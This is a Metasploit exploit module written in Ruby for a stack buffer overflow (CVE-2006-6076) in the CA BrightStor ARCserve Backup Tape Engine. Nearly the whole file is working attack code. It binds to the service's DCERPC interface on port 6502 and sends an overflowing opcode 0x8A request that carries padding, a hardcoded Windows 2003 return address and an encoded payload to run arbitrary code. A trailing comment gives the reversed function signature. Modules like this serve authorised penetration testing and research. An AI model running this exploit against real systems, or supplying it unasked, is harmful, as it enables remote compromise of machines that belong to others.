CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
          r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
          the buffer and execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-6076' ],
          [ 'OSVDB', '68330'],
          [ 'URL', 'http://www.metasploit.com/users/mc' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
        ],
        'DisclosureDate' => '2010-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(6502) ])
  end

  def exploit
    connect

    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    dcerpc.call(0x2B, request)

    sploit = NDR.long(4)
    sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")

    print_status("Trying target #{target.name}...")

    begin
      dcerpc_call(0x8A, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end

end
=begin
/* opcode: 0x8A, address: 0x100707D0 */

long   sub_100707D0 (
 [in] handle_t  arg_1,
 [in] long  arg_2,
 [in][ref][string] char * arg_3
);
=end